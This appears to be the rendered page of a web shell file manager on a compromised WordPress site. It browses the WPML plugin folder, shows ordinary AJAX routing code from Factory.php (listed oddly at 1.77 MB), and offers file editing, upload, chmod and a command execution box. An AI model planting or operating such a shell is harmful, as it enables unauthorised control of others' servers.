ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site BKP/wp-content/plugins/sitepress-multilingual-cms/classes/ajax
/
home
mhhtmff
www
site BKP
wp-content
plugins
sitepress-multilingual-cms
classes
ajax
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
endpoints
-
chmod
Open
Rename
Delete
class-wpml-ajax-factory.php
306 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-ajax-response.php
865 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-ajax-route.php
689 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-ajax.php
592 B
chmod
View
DL
Edit
Rename
Delete
Factory.php
1.77 MB
chmod
View
DL
Edit
Rename
Delete
interface-wpml-ajax-action-run.php
67 B
chmod
View
DL
Edit
Rename
Delete
Locale.php
438 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site BKP/wp-content/plugins/sitepress-multilingual-cms/classes/ajax/Factory.php
<?php namespace WPML\Ajax; use WPML\Collect\Support\Collection; use WPML\FP\Either; use WPML\FP\Fns; use WPML\FP\Json; use WPML\FP\Logic; use WPML\FP\Lst; use WPML\FP\Maybe; use WPML\FP\System\System; use WPML\LIB\WP\Hooks; use WPML\LIB\WP\Nonce; use function WPML\Container\execute; use function WPML\Container\make; use function WPML\FP\pipe; use function WPML\FP\System\getFilterFor as filter; use function WPML\FP\System\getValidatorFor as validate; class Factory implements \IWPML_AJAX_Action { public function add_hooks() { // :: Collection -> Collection $filterEndPoint = filter( 'endpoint' )->using( 'wp_unslash' ); // :: Collection -> Collection $decodeData = filter( 'data' )->using( Json::toCollection() )->defaultTo( 'wpml_collect' ); // :: Collection -> Either::Left( string ) | Either::Right( Collection ) $validateData = validate( 'data' )->using( Logic::isNotNull() )->error( 'Invalid json data' ); // $handleRequest :: Collection -> Either::Left(string) | Either::Right(mixed) $handleRequest = function ( Collection $postData ) { try { return Maybe::of( $postData->get( 'endpoint' ) ) ->map( pipe( make(), Lst::makePair( Fns::__, 'run' ) ) ) ->map( execute( Fns::__, [ ':data' => $postData->get( 'data' ) ] ) ) ->getOrElse( Either::left( 'End point not found' ) ); } catch ( \Exception $e ) { return Either::left( $e->getMessage() ); } }; Hooks::onAction( 'wp_ajax_wpml_action' ) ->then( System::getPostData() ) // Either::right(Collection) ->then( $filterEndPoint ) ->then( Nonce::verifyEndPoint() ) ->then( $decodeData ) ->then( $validateData ) ->then( $handleRequest ) ->then( 'wp_send_json_success' ) ->onError( 'wp_send_json_error' ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply